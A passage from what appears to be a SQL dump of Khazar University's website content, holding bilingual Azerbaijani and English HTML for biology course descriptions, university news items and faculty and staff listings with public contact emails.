olunur. Cinsi hüceyrələrin quruluşundan və mayalanmadan başlayaraq, rüşeym vərəqələrinin yaranması və onların diferensiasiya edərək toxumalara başlanğıc verməsi, yəni progenez və histogenez prosesləri əhatə olunur. Həmçinin, orqanogenez və sistemogenez prosesləri, döl dövrünün ümumi xüsusiyyətləri haqqında biliklər də verilir.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO325: Tibbi Biologiya <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: Yox</strong></p><p style=\"text-align:left\">Tibbi biologiya biologiyanın bir sahəsi olub, tibbin nəzəri əsaslarını təşkil edir və tibbi diaqnostikada insan sağlamlığı üçün praktiki olaraq tətbiq edilir. Kurs qısaca olaraq hüceyrə biologiyası, molekulyar biologiya, genetika, parazitologiya və diaqnostika sahələrini əhatə edir. Kursun tədrisi zamanı laboratoriyada &nbsp;diaqnostik üsullardan istifadə edərək, təcrübə dərsləri aparılır.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO111: Biofizika <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: Yox</strong></p><p style=\"text-align:left\">Biofizika fənni çərçivəsində bioloji proseslərin kinetika və termodinamikası, biopolimerlərin fəza quruluşu və elektron xassələri, qlobulyar zülalların dinamik xassələri, biomembranların struktur-funksional təşkili, membranlardan maddələrin daşınması və bioelektrogenez, biomembranlarda enerjinin transformasiyası, fotobioloji proseslərin ilkin mexanizmləri, ionlaşdırıcı şüaların təsirinin biofiziki mexanizmləri öyrənilir. Bu fənnin tədrisinə həmçinin əsas biofiziki tədqiqat metodları ilə tanışlıq da daxildir.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO330: Mərkəzi Sinir Sistemi <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: Yox</strong></p><p style=\"text-align:left\">Bu kurs sinir sisteminin əsas hissələrindən olan mərkəzi sinir sisteminin morfo-funksional xüsusiyyətlərini əhatə edir. Kursun gedişi zamanı mərkəzi sinir sisteminə aid olan bütün törəmələrin quruluşu və funksional xüsusiyyətləri tədris olunur. Həmçinin, mərkəzi sinir sisteminin orqanizmdəki müxtəlif sistem və aparatların fəaliyyətini (hərəkət, həzm, tənəffüs, ifrazat, qan dövranı, limfa cərəyanı, metabolik prosesləri və s.) necə tənzim etməsi və orqanizmlə onu əhatə edən xarici mühit arasında qarşılıqlı əlaqə yaratması öyrədilir.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO335: Bioinformatikaya Giriş <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: Yox</strong></p><p style=\"text-align:left\">Bu kurs ümumilikdə biologiyanın müxtəlif sahələrinə toxunaraq, problemləri başa düşmək, geniş məlumat və nəticələri izah etmək üçün uyğun kompüter proqramlarının tətbiqini, həmçinin riyazi və statistik üsul və metodlarının seçilməsi və istifadə edilməsinin öyrənilməsini əhatə edir.</p><p style=\"text-align:left\"><strong><br></strong></p><p style=\"text-align:left\"><strong>BİO420: İmmunologiya <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: Yox</strong></p><p style=\"text-align:left\">İmmunologiya biologiyanın bir sahəsi olub, orqanizmin müdafiə mexanizmlərini öyrənən bir elmdir. Bu fənn molekulyar və hüceyrə səviyyəsində immunitetin bioloji əsaslarının hərtərəfli öyrənilməsini əhatə edir. Həmçinin, orqanizmin normal immun cavabı, anadangəlmə və qazanılmış immunitet, immun çatışmazlıq, autoimmun xəstəliklər, immunitetin klinik diaqnostikası və profilaktikası, immunoloji müalicə üsulları və immunokimyəvi elmi tədqiqat üsulları haqda biliklər əhatə edilir. Kursun tədrisi zamanı laboratoriyada &nbsp;təcrübələr aparılır.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO 435: Biometriya <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: Yox</strong></p><p style=\"text-align:left\">Bu fənn bioloji hadisələr və müşahidələr zamanı əldə olunan nəticələrin biometrik xassələrinə əsaslanaraq, uyğun statistik və riyazi metodların inkişaf etdirilməsi və tətbiqi ilə analiz yollarının müəyyənləşdirilməsini təsvir edir. Bu fənn çərçivəsində müasir biologiyada, tibbin müxtəlif sahələrində, xəstəliklərin baş vermə səbəblərinin araşdırılmasında, onlara nəzarət olunması və ictimai sağlamlıq problemlərinə dair epidemioloji tədqiqatlarda genetika və genomika sahəsində, həmçinin kənd təsərrüfatının bir çox digər sahələrində istifadə olunan riyazi və statistik üsullar öyrədilir.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO430: Ətraf Mühit və Biotexnologiya <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: Yox</strong></p><p style=\"text-align:left\">Bu inteqral fənn çərçivəsində ekologiyada və təbiətdən istifadədə zəruri olan müvafiq biliklər təsvir edilir, müxtəlif nümunələrin götürülməsi, ekspertiza, ekoloji monitorinq metodları və ekoloji monitorinqin nəzəri əsasları öyrədilir, biomüxtəlifliyin təsviri və identifikasiyası səriştəsi formalaşdırılır, ətraf mühitin çirklənməsinin azaldılması və ekoloji risk haqqında məlumatlar verilir. Fənn həmçinin nanobiotexnologiyanın ümumi elmi prinsipləri, əsas inkişaf istiqamətləri, ideyaları, anlayışları, bu sahənin son elmi nailiyyətləri, tətbiqi, ətraf mühit üçün praktiki əhəmiyyəti haqqında məlumatları da əhatə edir.&nbsp;</p>'),(1981,1208,'az','“Xəzər”in əməkdaşının məqaləsi Almaniyada çap olundu','Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin müəllimi və doktorantı Elsevər Məmmədovun məqaləsi Almaniyanın “Nomos” nəşriyyatı tərəfindən “Caucasus, the EU and Russia –Triangular Cooperation?” kitabında nəşr edilmişdir.','Xəzər Universitetinin\r\nSiyasi elm və beynəlxalq münasibətlər departamentinin müəllimi və doktorantı Elsevər Məmmədovun məqaləsi\r\nAlmaniyanın “Nomos” nəşriyyatı tərəfindən <em>“Caucasus,\r\nthe EU and Russia –Triangular Cooperation?”</em> kitabında nəşr edilmişdir. “Şərq Tərəfdaşlığı və digər proqramlar çərçivəsində\r\nAvtopa Birliyi (AB)-Azərbaycan əməkdaşlığı: Azərbaycanın xarici siyasət\r\nperspektivindən baxış” adlı məqaləsində&nbsp;Elsevər Məmmədov AB ilə münasibətləri,\r\nxüsusilə Avropa Qonşuluq Siyasəti və Şərq Tərəfdaşlığı çərçivəsində əməkdaşlığı\r\nAzərabaycanın xarici siyasət prizmasından təhlil etmişdir. Məqalədə AB ilə\r\nmünasibətlər kontekstində Azərbaycanın xarici siyasət məqsədləri, eləcə də\r\nAB-nin bu proqramlar çərçivəsində Azərbaycandan gözləntiləri və Azərbaycanın həmin\r\ngözləntilərə baxışı tədqiq olunur.<strong></strong>'),(1982,1208,'en','Khazar Faculty Member’s Article Published in Germany','The article of Elsevar Mammadov, PhD candidate and instructor at Khazar University, Department of Political Science and International Relations was published in the book entitled “Caucasus, the EU and Russia – Triangular Cooperation?”','<p>The article of\r\nElsevar Mammadov, PhD candidate and instructor at Khazar University, Department\r\nof Political Science and International Relations was published in the book\r\nentitled “Caucasus, the EU and Russia – Triangular Cooperation?” <strong>(<em>Michèle\r\nKnodt, Sigita Urdze (Hrsg.)</em>, by Nomos, Baden-Baden </strong>by Nomos Publishing\r\nhouse.<strong> </strong>The<strong> </strong>article\r\nis titled “EU-Azerbaijan cooperation&nbsp;within\r\nthe Eastern Partnership and other frameworks: The view from Azerbaijan’s\r\nforeign policy perspective”. Elsevar Mammadov analyzed the relations\r\nwith the EU, cooperation in the\r\nframework of the European Neighbourhood Policy (ENP) and the Eastern\r\nPartnership (EaP) from the point of view of Azerbaijan `s foreign policy. The paper studies Azerbaijan’s foreign policy goals\r\nin the context of its relations with the EU, as well as the EU’s expectations\r\nregarding these programs and Azerbaijan`s attitude to these expectations. </p>\r\n<p>&nbsp;</p>'),(1983,1209,'az','Xəzər Universiteti Şərqi Avropa və Mərkəzi Asiyanın ilk 70 universiteti arasında','2016-ci il iyunun 14-də QS təşkilatı tərəfindən 2016-cı il üçün İnkişaf etməkdə olan Avropa və Mərkəzi Asiya ölkələrinin ən yaxşı universitetlərinin illik reytinqi müəyyənləşdirilmişdir...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-ci il iyunun 14-də QS təşkilatı tərəfindən 2016-cı il üçün\r\nİnkişaf etməkdə olan Avropa və Mərkəzi Asiya ölkələrinin ən yaxşı universitetlərinin\r\nillik reytinqi müəyyənləşdirilmişdir.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Reytinq siyahısına aşağıdakı İnkişaf etməkdə olan Avropa və Mərkəzi\r\nAsiyadan olan 21 ölkənin ən yaxşı 200 ali təhsil müəssisəsinin adı daxil edilmişdir:\r\nAzərbaycan, Albaniya, Belarus, Bosniya və Herseqovina, Bolqarıstan, Xorvatiya,\r\nÇexiya, Estoniya, Macarıstan, Qazaxıstan, Qırğızıstan, Latviya, Litva, Polşa,\r\nRumıniya, Rusiya, Serbiya, Slovakiya, Sloveniya, Türkiyə və Ukrayna.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Keçən illə müqayisədə reytinqdə bu il Azərbaycandan 6 ali təhsil müəssisəsi\r\niştirak edib. Həmin ali məktəblərin adı ən yaxşı 200 universitet sırasına daxil\r\nedilmişdir. Reytinq siyahısına görə, Xəzər Universiteti 51,9 xalla 68-ci yeri\r\ntutub. Reytinqə qatılan digər Azərbaycan universitetlərindən –Bakı Dövlət\r\nUniversiteti 46 xalla 88-ci, Qafqaz Universiteti 45,9 xalla 89-cu, Azərbaycan\r\nDillər Universiteti 121-130, Azərbaycan Dövlət İqtisadiyyat Universiteti\r\n150-200, ADA Universiteti isə 150-200-cü yeri tutub.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Ətraflı məlumatı bu link vasitəsilə əldə\r\netmək olar:</p>\r\n<p><a href=\"http://www.topuniversities.com/university-rankings/eeca-rankings/2016#sorting=rank+region=+country=+faculty=+stars=false+search\">http://www.topuniversities.com/university-rankings/eeca-rankings/2016#sorting=rank+region=+country=+faculty=+stars=false+search</a>.&nbsp;</p>'),(806,552,'en','Course Descriptions','Course Descriptions','<div style=\"text-align:left\"><p><strong style=\"text-align:justify\">CORE COURSES:</strong></p><p><strong>BİO 101: General Biology (6 ECTS)</strong></p><p><strong>Prerequisite: No</strong></p><p>This course provides students with an in-depth knowledge of the principles and applications of general biology. Topics include biochemistry, genetics, metabolism, living things, ecology, ecosystems, living kingdoms and biodiversity of living things.</p><p><br></p><p><strong>BİO 105: Botany 1 (6 <strong>ECTS</strong>)</strong></p><p><strong><strong>Prerequisite: No</strong> </strong></p><p>This course provides an introduction to the classification, relationships, structure, and function of simple plants. Topics include taxonomy, physiology, cell structure, tissues and organs, reproduction of non-vascular or non-seed plants.</p><p><br></p><p><strong>BİO 205: Botany 2 <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite</strong>: BİO 105</strong></p><p>Topics to be covered are the structure and function of plant cells, tissues, and organs such as roots, stems, leaves, and flowers of vascular plants. Concepts of biological evolution and classification, the diversity of plants and plant-like organisms, genetics, genetic selection, and ecology.</p><p><br></p><p><strong>BİO 201: Zoology 1 <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite: No</strong> </strong></p><p>This course provides an introduction to the classification, relationships, structure, and function of invertebrates animals. Topics include biological evolution, unicellular organisms – protozoa, multicellular animals, structures and characteristics of the selected phyla.</p><p><br></p><p><strong>BİO 202: <strong>Zoology 2&nbsp;<strong>(6&nbsp;<strong>ECTS</strong>)</strong></strong> </strong></p><p><strong><strong>Prerequisite</strong>: BİO 201</strong></p><p>Topics to be covered the classification, relationships, structure, and function of vertebrates animals. Students will learn vertebrates animals taxonomy, morphology, identification, physiology, behavior, ecology&nbsp;etc.</p><p><br></p><p><strong>BİO 215: Cytology <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite: No</strong> </strong></p><p>This course will present you with a detailed overview of cell biology. Cell biology includes studying the structure and function of cells, cell organization, gene expression, cell membrane structure, life cycle, signaling pathways and metabolic processes.</p><p><br></p><p><strong>BİO 220: Histology <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite:</strong> BİO 215</strong></p><p>The principal objective of this course is to provide students with an understanding of the function of tissues. Topics to be covered the introduction to basic histological techniques, microscopic structure of tissues, tissues: concept and classification, epithelial tissue, connective tissue, cartilage, bone, adipose tissue, blood, muscle tissue, nerve tissue, cardiovascular system, lymphatic system, integumentary system, digestive system etc.</p><p><br></p><p><strong>BİO 225: Plant Physiology <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite:</strong> BİO 205</strong></p><p>This course will examine the key concepts of plant physiology. Topics will include the structure and function of plant cells, energy and enzymes, photosynthesis, growth and development, water transport, mineral nutrition, and plant metabolism.</p><p><br></p><p><strong>BİO301: Biochemistry&nbsp;<strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite:</strong> CHEM 208</strong></p><p>This course explores the biochemical reactions in living organisms. Topics include biomolecules, organization and structure of cells, water, pH and Ionic equilibria, amino acids, proteins, the structure of proteins, nucleic acids and their metabolism, lipids and membranes, carbohydrates, enzymes.</p><p><br></p><p><strong>BİO305:&nbsp;Human and Animal Physiology <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong><strong>Prerequisite:</strong>&nbsp;</strong>BİO 202</strong></p><p>The course explores the different systems and processes at work in the human and animal body. Topics to be covered the fundamentals of physiology, nutrition, feeding, and digestion, the structure of organs, human and animal metabolisms, energy transport, enzymes, and ecology.</p><p><br></p><p><strong>BİO310: Human Anatomy <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite: No</strong> </strong></p><p>Anatomy is one of the fundamental subjects for anyone considering studying medicine and biology. Topics include levels of the organization, support, and movement, regulation, integration, and control, fluids and transport, energy, maintenance, and environmental exchange, human development and the continuity of life.</p><p><br></p><p><strong>BİO402: Genetics and Selection <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite:</strong> BİO101</strong></p><p>Genetics serves as a theoretical basis for selection - a science that develops methods for breeding and improving breeds of animals, plant varieties, strains of microorganisms. Topics include genetics of cells, DNA, recombination, RNA, transcription, protein translation, selection of organisms, genetic engineering, ecological genetics, genetic modification</p><p><br></p><p><strong>BİO410: Microbiology <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite:</strong> BİO101</strong></p><p>Microbiology is a broad discipline that involves the study of the biology of bacteria, viruses, protozoa, and fungi. Topics will include the morphology and physiology of bacteria, identification of bacteria and taxonomy, bacterial genetics, microbial pathogenesis, viruses, protozoa, fungi, immunology.</p><p>&nbsp;</p><p><strong>BİO405: Ecology and Evolutionary Biology&nbsp;<strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite:</strong> BİO402</strong></p><p>This course presents the principles of evolution, ecology, and behavior for students beginning their study of biology and of the environment. Topics include evolution, natural selection and weedy adaptation, adaptation, macromolecules, cells, ecosystems, population, biodiversity of living organisms, and ecology of organisms.</p><p><br></p><p><strong>BİO408: Molecular Biology <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite:</strong> BİO301</strong></p><p>This course covers a detailed analysis of the molecular structure and function of cells. The topics covered in lectures and readings of relevant literature include gene regulation, DNA replication, genetic recombination, RNA transcription, PCR, genetic engineering, protein structure, amino acids etc.</p><p><br></p><p><strong>ELECTIVE COURSES:</strong></p><p><strong>BİO315:&nbsp;Developmental Biology <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite: No</strong></strong></p><p>The course covers the current understanding of the molecular mechanisms that regulate human and animal development. Topics will include mechanisms of the developmental organization, specifying identity: mechanisms of developmental patterning, differential gene expression: mechanisms of cell differentiation, stem cells: their potential and their niches, sex determination and gametogenesis, postembryonic development, development and the environment: biotic, abiotic, and symbiotic regulation of development.</p><p><br></p><p><strong>BİO325: Medical Biology <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite: No</strong> </strong></p><p>This course aims to provide an introduction to the scientific basis of modern medicine and the role of biological sciences in the understanding and treatment of disease. Topics include molecular biology, biochemistry, biophysics, biotechnology, cell biology, embryology, physiology, pathology.</p><p><br></p><p><strong>BİO111: Biophysics <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite: No</strong> </strong></p><p>Biophysics program is an interdisciplinary science that combines biological knowledge, fundamental principles of physics and chemistry with experimental exploration. The course provides the background needed for fundamental training in biophysics. Topics include thermodynamics of nonequilibrium systems, membrane transport, nerve impulses, mechanochemical processes.</p><p><br></p><p><strong>BİO330: Central Nervous System <strong>&nbsp;<strong>(6&nbsp;<strong>ECTS</strong>)</strong></strong> </strong></p><p><strong><strong>Prerequisite: No</strong> </strong></p><p>The course aims to provide an introduction to the nervous system consisting of the brain and spinal cord. Topics include structure of nerve cells, white and gray matter, spinal cord, brain, development human nervous system etc.</p><p><br></p><p><strong>BİO335: Introduction to Bioinformatics&nbsp;<strong><strong><strong>(6&nbsp;<strong>ECTS</strong>)</strong></strong></strong> </strong></p><p><strong><strong>Prerequisite: No</strong> </strong></p>\r\n<p>The course covers the current understanding of biological databases and high-throughput data sources. Students will study to use different bioinformatics tools, analysis sequence of cells, sequence alignments.</p><p><strong><br></strong></p><p><strong>BİO420: Immunology <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite: No</strong> </strong></p><p>This course explores immunology, how the body defends itself from constant assault by parasites and pathogens. This course will present the structure and function of immune system, immune response, immunodeficiency, antibodies, antigen, the function of dendritic cells, immunity etc.</p><p><br></p><p><strong>BİO 435: Biometrics <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite: No</strong> </strong></p><p>The course explores formulating problems, planning and completing research projects in biometrics. This science of establishing the identity of a person based on physical or behavioral attributes. Topics include descriptive statistics and the normal distribution, sampling distributions and confidence intervals, hypothesis testing, one-way analysis of variance, statistical analysis of epidemiological results.</p><p><br></p><p><strong>BİO430: Environmental and Biotechnology <strong>(6&nbsp;<strong>ECTS</strong>)</strong> </strong></p><p><strong><strong>Prerequisite: No</strong> </strong></p><p>The course is an introduction to environmental biotechnology and focuses on the use of microbial processes in waste and water treatment and bioremediation. Topics included are environmental systems, biophile cycling, carbon biogeochemistry, environmental biochemodynamic processes, environmental risks of biotechnologies, reducing biotechnological risks, applied ecology, biotechnological implications: a systems approach.</p>  <p><br></p></div>'),(4778,2841,'az','“Elm TV” kanalı Xəzər Universitetində keçirilən tədbiri yayınladı','2017-ci il dekabrın 3-də Xəzər Universiteti Psixoloji Xidmət Mərkəzi, Əlilliliyi olan Tələbələr üçün Mərkəz, Beynəlxalq Əlillər Cəmiyyəti və “Əlillər” qəzetinin...','<p>2017-ci il dekabrın 3-də Xəzər Universiteti Psixoloji Xidmət Mərkəzi, Əlilliliyi olan Tələbələr üçün Mərkəz, Beynəlxalq Əlillər Cəmiyyəti və “Əlillər” qəzetinin birlikdə Xəzər Universitetində keçirdiyi tədbir Azərbaycan Milli Elmlər Akademiyasının “Elm TV” kanalı tərəfindən hazırlanan videomaterialda yer almışdır.</p><p>Videonu bu link vasitəsilə izləmək olar:&nbsp;</p><p><a href=\"https://www.youtube.com/watch?v=NF8ZtEOx6Jk&amp;feature=share\">https://www.youtube.com/watch?v=NF8ZtEOx6Jk&amp;feature=share</a>.</p>'),(807,553,'en','Faculty and Staff','Faculty and Staff','<p><img src=\"/files/biolog_depart/irada_x.jpg\" style=\"float:left;width:150px;height:211px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/letters/CV_IradaKhalilova.pdf\"><strong>Irada Khalilova</strong></a></p><p><strong>Associate Professor</strong></p><p><strong>Head of Department</strong></p><p>PhD&nbsp;in Biological Sciences (Azerbaijan Medical University)</p><p>MS&nbsp;in Molecular Biology and Biophysics (Baku State University,&nbsp;Azerbaijan)</p><p style=\"padding-left:160px\"><strong></strong><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:ikhalilova@khazar.org/\"></a><a href=\"mailto:ikhalilova@khazar.org\">ikhalilova[at]khazar.org</a>  <a href=\"mailto:ikhalilova@khazar.org\"></a></p><p style=\"padding-left:120px\"><strong>Phone</strong>: (+994 12) 421 6335 (242; 246)</p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/biolog_depart/CV/javid_ojaghi_cv(eng).pdf\"><strong>Javid Ojaghi</strong></a><img src=\"/files/biolog_depart/images/javid_ojaghi.jpg\" style=\"width:150px;height:175px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></p><p><strong>Associate Professor </strong><br></p><p>PhD&nbsp;in Biological Sciences (Baku State University,&nbsp;Azerbaijan)</p><p>MS&nbsp;in Plant Breeding (Islamic Azad University,&nbsp;Iran)&nbsp;<br></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\" style=\"background-image: url(\" \");=\"\" padding-left:=\"\" 160px;\"=\"\" font-family:=\"\" \"times=\"\" new=\"\" roman\",=\"\" times,=\"\" serif;=\"\" font-size:=\"\" medium;\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:javid.ojaghi@khazar.org/\"></a><a href=\"mailto:javid.ojaghi@khazar.org\">javid.ojaghi[at]khazar.org</a>  <a href=\"http://mailto:javid.ojaghi@khazar.org\"></a></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\" style=\"background-image: url(\" \");=\"\" padding-left:=\"\" 160px;\"=\"\" font-family:=\"\" \"times=\"\" new=\"\" roman\",=\"\" times,=\"\" serif;=\"\" font-size:=\"\" medium;\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/image/14_12_24_Parvana_Bakhshaliyeva.jpg\" style=\"border:0px #000000;float:left;width:150px;height:185px;margin:7px\"><a href=\"http://www.khazar.org/files/biolog_depart/CV/parvana_bakhshaliyeva_cv(eng).pdf\"><strong>Parvana Bakhshaliyeva</strong></a></p><p>Doctor of Medicine&nbsp;(Azerbaijan Medical University)      </p><p><strong>E-mail:&nbsp;</strong><a href=\"http://mailto:parvana.bakshaliyeva@khazar.org\"></a><a href=\"mailto:parvana.bakshaliyeva@khazar.org\">parvana.bakshaliyeva[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/asaf_omarov_cv_(eng).pdf\"><img src=\"/files/biolog_depart/images/asaf_omarov.jpg\" style=\"width:150px;height:177px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Asaf Omarov</a></strong></p><p>PhD in Agricultural Sciences (Azerbaijan\r\nVeterinary Scientific Research Institute)</p>  <p>MS in&nbsp;Agricultural Sciences&nbsp;(Azerbaijan Agriculture Academy)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:asefomarov@gmail.com\">asefomarov[at]gmail.com</a>  </p><p><br></p><p>&nbsp;</p>\r\n<hr>\r\n<p><img src=\"/files/biolog_depart/zaur_kerimov.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:200px\"><a href=\"http://www.khazar.org/files/pdf/Zaur_Karimov_CV.pdf\"><strong>Zaur Karimov</strong></a></p><p>PhD in Biological Sciences (Institute of Microbiology, Azerbaijan National Academy of Sciences)</p><p>Doctor of Medicine  (Azerbaijan Medical University)&nbsp;</p><p><strong>E-mail</strong>: <a href=\"mailto:zaur.karimov@khazar.org\">zaur.karimov[at]khazar.org</a></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"/files/image/14_12_24_Huseyn_Jafarov.jpg\" style=\"border:0px #000000;width:150px;height:187px;margin:7px;float:left\"><p><a href=\"http://www.khazar.org/files/pdf/Huseyn_Jafarov_CV.pdf\"><strong>Huseyn Jafarov</strong></a>&nbsp;</p><p>MS&nbsp;in Biochemistry and Biotechnology   (Baku State University, Azerbaijan)</p><p><em></em><strong>E-mail</strong>:&nbsp;<a href=\"mailto:huseyn.jafarov@khazar.org\">huseyn.jafarov[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"/files/image/sefiyeva_gulafet.jpg\" style=\"border:0px #000000;width:150px;height:200px;margin:7px;float:left\"><p><a href=\"http://www.khazar.org/files/pdf/CV_Gulafet.pdf\"><strong>Gulafat&nbsp;</strong></a><a href=\"http://www.khazar.org/files/biolog_depart/CV_Gulafet.pdf\"><strong>Shafiyeva</strong></a></p><p>MS&nbsp;in Biological Sciences (Lankaran&nbsp;State University,&nbsp;Azerbaijan) <br></p>\r\n<p><a href=\"mailto:gulafat.shafiyeva@khazar.org\"></a><strong>E-mail</strong>:&nbsp;<a href=\"mailto:gulafat.shafiyeva@khazar.org\">gulafat.shafiyeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>'),(6162,3509,'az','Dizayn','Dizayn',''),(6163,3509,'en','Design','Design',''),(6164,3510,'az','İşçi heyəti','İşçi heyəti','<p><strong><a href=\"http://www.khazar.org/files/design/cv/afaq_kerimova_cv.pdf\"><img src=\"/files/design/images/afaq_karimova.jpg\" style=\"width:150px;height:162px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Afaq Kərimova</a></strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:afag.karimova@khazar.org\">afag.karimova[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/design/cv/anar_asadov_cv.pdf\"><img src=\"/files/design/images/anar_asadov.jpg\" style=\"width:150px;height:149px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Anar Əsədov</a></strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:anar_asadov@hotmail.com\">anar_asadov[at]hotmail.com</a>  </p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/design/cv/elvi_jamali_cv.pdf\"><img src=\"/files/design/images/elvi_jamali.jpg\" style=\"width:150px;height:218px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Elvi Jamali</a></strong></p><p><strong style=\"font-weight:bold\">E-mail:</strong>  <a href=\"mailto:elvi017@mail.ru\">elvi017[at]mail.ru</a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/design/cv/kamran_asadov_cv.pdf\"><img src=\"/files/design/images/kamran_asadov.jpg\" style=\"width:150px;height:108px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Kamran Əsədov</a></strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:katrix36@gmail.com\">katrix36[at]gmail.com</a>  <a href=\"mailto:elvi017@mail.ru\"></a></p><p><br></p><p><br></p>'),(6165,3510,'en','Staff','Staff','<p><strong><a href=\"http://www.khazar.org/files/design/cv/afaq_kerimova_cv.pdf\"><img src=\"/files/design/images/afaq_karimova.jpg\" style=\"width:150px;height:162px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Afag Karimova</a></strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:afag.karimova@khazar.org\">afag.karimova[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/design/cv/anar_asadov_cv.pdf\"><img src=\"/files/design/images/anar_asadov.jpg\" style=\"width:150px;height:149px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Anar Asadov</a></strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:anar_asadov@hotmail.com\">anar_asadov[at]hotmail.com</a>  </p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/design/cv/elvi_jamali_cv.pdf\"><img src=\"/files/design/images/elvi_jamali.jpg\" style=\"width:150px;height:218px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Elvi Jamali</a></strong></p><p><strong style=\"font-weight:bold\">E-mail:</strong>  <a href=\"mailto:elvi017@mail.ru\">elvi017[at]mail.ru</a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/design/cv/kamran_asadov_cv.pdf\"><img src=\"/files/design/images/kamran_asadov.jpg\" style=\"width:150px;height:108px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Kamran 